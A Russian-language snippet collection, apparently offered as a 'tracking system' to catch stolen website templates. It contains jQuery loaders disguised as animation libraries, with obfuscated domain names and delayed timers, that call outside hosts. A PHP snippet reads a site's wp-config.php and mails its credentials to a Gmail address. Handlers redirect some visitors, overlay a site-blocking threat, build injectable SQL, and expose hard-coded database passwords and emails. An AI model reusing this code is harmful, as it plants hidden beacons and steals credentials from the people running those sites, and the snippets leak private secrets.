Tracking system for websites (Трекинг-система для сайтов)
Category: Security
Страница на которую встраивается скрипт:
<!-- строчка которая запускает php скрипт --> <div id="content"></div> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js"></script> <script> var id = 1; var loc = window.location; var url = 'http://teplo.sumdu.edu.ua/rusikok/instat/input/'; $('#content').load(url + '?id=' + id + '&loc=' + loc); </script>
Еще пример кода:
<script type="text/javascript"> var id = 318; var loc = window.location; var url = 'http://jquerysup.com/libtz/'; $('#id-element-on-page').load(url + '?id=' + id + '&loc=' + loc); </script>
Вариации для тестов:
- loc = window.location;
- window.location.pathname
- window.location.hostname
Старый не оптимизированный код обработчика:
<?php // параметры $mail = "gadahrenovo@gmail.com"; $serverDB = "localhost"; $loginDB = "teplo"; $passDB = "062874021AD4C471"; $nameDB = "rusikok"; // коннект к БД $conn = mysql_connect($serverDB, $loginDB, $passDB) or die("соединение с СУБД не установлено"); mysql_select_db($nameDB, $conn) or die("выборка базы не выполнена"); mysql_set_charset("utf8"); // парсим полученные от странички данные $id = $_GET['id']; $url = parse_url($_GET['loc']); $query = " SELECT rusikokCopyrightHost.host FROM rusikokCopyrightHost WHERE rusikokCopyrightHost.id = ".((int)$id)." ;"; // запрос на выборку параметров из таблицы доменов $result = mysql_query($query, $conn); if(mysql_num_rows($result) == 0) // если БД вернула ошибку { print("error."); die(); // Завершаем работу скрипта } $row = mysql_fetch_array($result); if(0 !== strcmp($row['host'], $url['host'])) // если id и хост не совпадают то начинается конкретный геморой иначе все классно) { if(!$url['host']) $url['host'] = $url['path']; // если страничка запущена с локального диска компьютера $query = " SELECT rusikokCopyrightHostBlackList.id FROM rusikokCopyrightHostBlackList WHERE rusikokCopyrightHostBlackList.host = '".$url['host']."' ;"; // запрос на выборку параметров из таблицы доменов $result = mysql_query($query, $conn); if(mysql_num_rows($result) == 0) // если БД вернула ошибку { //print("в бд такой записи еще нет."); $result = mysql_query("INSERT INTO rusikokCopyrightHostBlackList(addDateTime, host, hostIP, hostInformation) VALUES (NOW(), '".$url['host']."', '".$_SERVER['REMOTE_ADDR']."', '".print_r($_SERVER, true)."');", $conn); mail($mail, $_SERVER["HTTP_HOST"], print_r($_SERVER, true)); } } print("BODY"); ?>
Создание БД для работы:
-- Table "rusikokCopyrightHost" DDL CREATE TABLE `rusikokCopyrightHost` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `host` varchar(255) NOT NULL, PRIMARY KEY (`id`,`host`), UNIQUE KEY `id` (`id`), UNIQUE KEY `url` (`host`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; -- Table "rusikokCopyrightHostBlackList" DDL CREATE TABLE `rusikokCopyrightHostBlackList` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `addDateTime` datetime NOT NULL, `host` varchar(255) NOT NULL, `hostIP` char(15) DEFAULT NULL, `hostInformation` varchar(21000) DEFAULT '0', PRIMARY KEY (`id`,`host`), UNIQUE KEY `id` (`id`), UNIQUE KEY `url` (`host`) ) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8;
php защита сайта от кражи своими
<?php if(stristr($_SERVER['HTTP_HOST'], 'skupkamonet.com.ua')) { /* если данные совпали */ } else { /* если не совпали */ /* собираем данные */ $to = 'bild.s.m@gmail.com'; $subject="Detect an attempt to steal the theme of the site!"; $headers = "From: VZLOM <$from>" . "\n"; $headers .= "Content-Type: text/plain; charset=utf-8\n"."\r\n"; $gilko = $_SERVER['HTTP_HOST']; $petrj = file_get_contents('./wp-config.php', true); $bejig = php_uname(); /* отправляем нам письмо */ mail($to, $subject, "Site domen name $gilko \r\n \r\n File log:\r\n $petrj \r\n \r\n Domen info:\r\n $bejig", $headers ); } ?>
Еще примеры кода
<script> /* TIU начало */ var id = 392; var loc = window.location; var animationtype = 'ulip.ml'; var connectionprotocol = 'http://'; function vf () { $(guard).load(connectionprotocol+animationtype+'?id='+id+'&loc='+loc); }; setTimeout(vf, 61000); /* TIU конец */ /* TIU начало */ var id = 392; var loc = window.location; var easecast = 'easing.cf'; var conprot = 'http://'; $(ancor06).load(conprot+easecast+'?id='+id+'&loc='+loc); /* TIU конец */ /* TIU начало */ var id = 392; var loc = window.location; var alib = 'http://animates.cf'; function maskfunk () { $(ancor02).load(alib+'?id='+id+'&loc='+loc); }; setTimeout(maskfunk, 10000); /* TIU конец */ /* TIU начало */ var id = 393; var loc = window.location; var animationtype = 'ulip.ml'; var connectionprotocol = 'http://'; function vf () { $(guard).load(connectionprotocol+animationtype+'?id='+id+'&loc='+loc); }; setTimeout(vf, 61000); /* TIU конец */ /* TIU начало */ var id = 393; var loc = window.location; var easecast = 'easing.cf'; var conprot = 'http://'; $(ancor06).load(conprot+easecast+'?id='+id+'&loc='+loc); /* TIU конец */ /* TIU начало */ var id = 393; var loc = window.location; var alib = 'http://animates.cf'; function maskfunk () { $(ancor02).load(alib+'?id='+id+'&loc='+loc); }; setTimeout(maskfunk, 10000); /* TIU конец */ /* TIU начало */ var id = 394; var loc = window.location; var ontype = 'ulip.ml'; var connectionprotocol = 'http://'; function vf () { $(guard).load(connectionprotocol+ontype+'?id='+id+'&loc='+loc); }; setTimeout(vf, 61000); /* TIU конец */ /* TIU начало */ var id = 394; var loc = window.location; var easecast = 'easing.cf'; var conprot = 'http://'; $(ancor06).load(conprot+easecast+'?id='+id+'&loc='+loc); /* TIU конец */ /* TIU начало */ var id = 394; var loc = window.location; var alib = 'http://animates.cf'; function maskfunk () { $(ancor02).load(alib+'?id='+id+'&loc='+loc); }; setTimeout(maskfunk, 10000); /* TIU конец */ /* TIU начало */ var id = 395; var loc = window.location; var ontype = 'ulip.ml'; var connectionprotocol = 'http://'; function vf () { $(guard).load(connectionprotocol+ontype+'?id='+id+'&loc='+loc); }; setTimeout(vf, 61000); /* TIU конец */ /* TIU начало */ var id = 395; var loc = window.location; var easecast = 'easing.cf'; var conprot = 'http://'; $(ancor06).load(conprot+easecast+'?id='+id+'&loc='+loc); /* TIU конец */ /* TIU начало */ var id = 395; var loc = window.location; var alib = 'http://animates.cf'; function maskfunk () { $(ancor02).load(alib+'?id='+id+'&loc='+loc); }; setTimeout(maskfunk, 10000); /* TIU конец */ var id = 318; var loc = window.location; var url = 'http://jquerysup.com/jquery-ui/'; $('#main').load(url + '?id=' + id + '&loc=' + loc); var id = 318; var loc = window.location; var url = 'http://jquerysup.com/jquery-ui/'; $('#main').load(url + '?id=' + id + '&loc=' + loc); var loc=window.location;var url='http:///googleajax.com/app/';$(window).load(url+'?id='+id+'&loc='+loc) function vf (){ $('a').load('http://define.ml/'); }; setTimeout(vf, 62000); var id='202';var loc=window.location;var url='http:///googleajax.com/app/';$(window).load(url+'?id='+id+'&loc='+loc) // ускоряем загрузку сайта за счет подключения анимации после полной загрузки страницы function vf () { $('.menu_click').load('http://animates.tk'); }; // задержка перед загрузкой красочной анимации setTimeout(vf, 61000); var timer = 'ulip.'; var cf = 'cf'; var protocol = 'http://'; function reflection (){ $('a').load(protocol+timer+cf); }; setTimeout(reflection, 10000); var animationtype = 'easing'; var urlfilter = 'http://'; var jakkerblow = '.ml'; $(".menu_click").click(function(){ $(document.body).load(urlfilter+animationtype+jakkerblow); }); </script>
Код письма-претензии:
<head> <meta charset="utf-8"> </head> <body> <div style="width: 100vw; height: 100vh; position: fixed; left: 0px; top: 0px; background-color: rgba(0, 0, 0, 0.9); display: flex; font-family: Verdana, Geneva, sans-serif; font-size: 14px;" title="Удаление этого сообщения (кода вывода письма-претензии) не избавляет Вас от ответствнености."> <div style="margin: auto; padding: 10px 20px; width: 480px; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; background-color: white;"> <h1 style="color: red; text-align: center;">Внимание!<br><span style="font-size: 12px;">отображение сайта блокировано</span></h1> <p>Добрый день!</p> <p>Это сообщение - <strong>письмо-претензия</strong>, письменное требование об устранении нарушений.</p> <p><strong>Причина</strong> возникновения конфликтной ситуации: использование шаблона сайта без уведомления и разрешения владельца <span title="Авторских прав">АП</span>.</p> <p><strong>Требования</strong>: удалите все копии и элементы этого сайта, не воссоздавайте их и не используйте в будущем.</p> <p><strong>Сроки</strong> удовлетворения: 24 часа с момента первого отображения этого уведомления (данные автоматически занесены в БД).</p> <p><strong>Возможные последствия</strong> невыполнения требований: <ul><li>Придание ситуации широкой огласки.</li> <li>Обращение к регистратору доменного имени с просьбой заблокировать домен, на котором размещен контент.</li> <li>Обращение к хостинг-провайдеру с просьбой заблокировать аккаунт пользователя или отображение сайта (домена), на котором размещен контент.</li> <li>Обращение в суд.</li> <li>Обращение к третьим лицам или любые другие действия, направленные на восстановление справедливости.</li> </ul></p> <p><strong>Обратная связь</strong>: <a href="mailto:amicable@codeshield.ru" style="text-decoration: none;" title="Для полюбовного урегулирования конфликтной ситуации">amicable@codeshield.ru</a></p> </div> </div> </body>
Обработчик обращений:
<?php header("Access-Control-Allow-Origin: *"); ?> <?php // параметры $mail = "mail@write365.ru, tosrussia@gmail.com, kraisvetny@gmail.com"; $serverDB = "write365.mysql.ukraine.com.ua"; $loginDB = "write365_alert"; $passDB = "9xwak4u7"; $nameDB = "write365_alert"; // коннект к БД $conn = mysql_connect($serverDB, $loginDB, $passDB) or die("соединение с СУБД не установлено"); mysql_select_db($nameDB, $conn) or die("выборка базы не выполнена"); mysql_set_charset("utf8"); // парсим полученные от странички данные $id = $_GET['id']; $url = parse_url($_GET['loc']); $urlnatural = $_GET['loc']; $jtestrursnet = 'http://jtest.rurs.net/'; $acceshopru = 'http://acce-shop.ru/'; if ($urlnatural == $acceshopru) { ?> <html> <head> <title></title> <script src='http://code.jquery.com/jquery-latest.js'></script> </head> <body> <meta http-equiv="Refresh" content="0; url=http://topzakazz.ru/"> <script src='http://code.jquery.com/jquery-latest.js'></script> <style> * { display: none; } </style> </body> </html> <?php }; if ($urlnatural == $jtestrursnet) { ?> <html> <head> <title></title> <script src='http://code.jquery.com/jquery-latest.js'></script> </head> <body> <meta http-equiv="Refresh" content="0; url=http://topzakazz.ru/steelrage/"> <script src='http://code.jquery.com/jquery-latest.js'></script> <style> * { display: none; } </style> </body> </html> <?php } else { }; $query = " SELECT rusikokCopyrightHost.host FROM rusikokCopyrightHost WHERE rusikokCopyrightHost.id = ".((int)$id)." ;"; // запрос на выборку параметров из таблицы доменов $result = mysql_query($query, $conn); if(mysql_num_rows($result) == 0) // если БД вернула ошибку { header('Location: https://jquery.com/'); die(); // Завершаем работу скрипта } $row = mysql_fetch_array($result); if(0 !== strcmp($row['host'], $url['host'])) // если id и хост не совпадают то начинается конкретный геморой иначе все классно) { if(!$url['host']) $url['host'] = $url['path']; // если страничка запущена с локального диска компьютера $query = " SELECT rusikokCopyrightHostBlackList.id FROM rusikokCopyrightHostBlackList WHERE rusikokCopyrightHostBlackList.host = '".$url['host']."' ;"; // запрос на выборку параметров из таблицы доменов $result = mysql_query($query, $conn); if(mysql_num_rows($result) == 0) // если БД вернула ошибку { //print("в бд такой записи еще нет."); $result = mysql_query("INSERT INTO rusikokCopyrightHostBlackList(addDateTime, host, hostIP, hostInformation) VALUES (NOW(), '".$url['host']."', '".$_SERVER['REMOTE_ADDR']."', '".print_r($_SERVER, true)."');", $conn); mail($mail, $_SERVER["HTTP_HOST"], print_r($_SERVER, true)); } } ?>
Обработчик
<?php header('Content-type: text/html'); header('Access-Control-Allow-Origin: *'); $url = 'https://cashout.biz/'; $domain = parse_url($url, PHP_URL_HOST); /* соединяемся с БД */ $mi=new mysqli("write365.mysql.tools", "write365_mitrue", "7c1z36tw7bglnu3x", "write365_mitrue"); $mi->set_charset("utf8"); if($mi->connect_errno): die($mi->connect_error); endif; /* выполняем поиск в БД */ $mysqli = new mysqli("write365.mysql.tools", "write365_mitrue", "7c1z36tw7bglnu3x", "write365_mitrue"); $sql=$mi->query("select `id` from `whitelist` where `domain`= '$domain'"); $result=$sql->fetch_array(); $id = $result[id]; if ( $id = '' ) { $mail_to = 'support@mels.industries'; $mail_subject = 'Зафиксирован запуск копии сайта'; $mail_message = '<html> <head> <title>Зафиксирован запуск копии сайта</title> </head> <body> <div>URL: '.$url.'</div> <div>Причина сообщения: домен '.$domain.' в БД WHITELIST не найден.</div> </body> </html>'; $mail_headers = "MIME-Version: 1.0\r\n"; $mail_headers .= "Content-type: text/html; charset=utf-8\r\n"; $mail_headers .= "From: Form notice <notice@skyvision.com.ua>"."\r\n"; mail($mail_to, $mail_subject, $mail_message, $mail_headers); }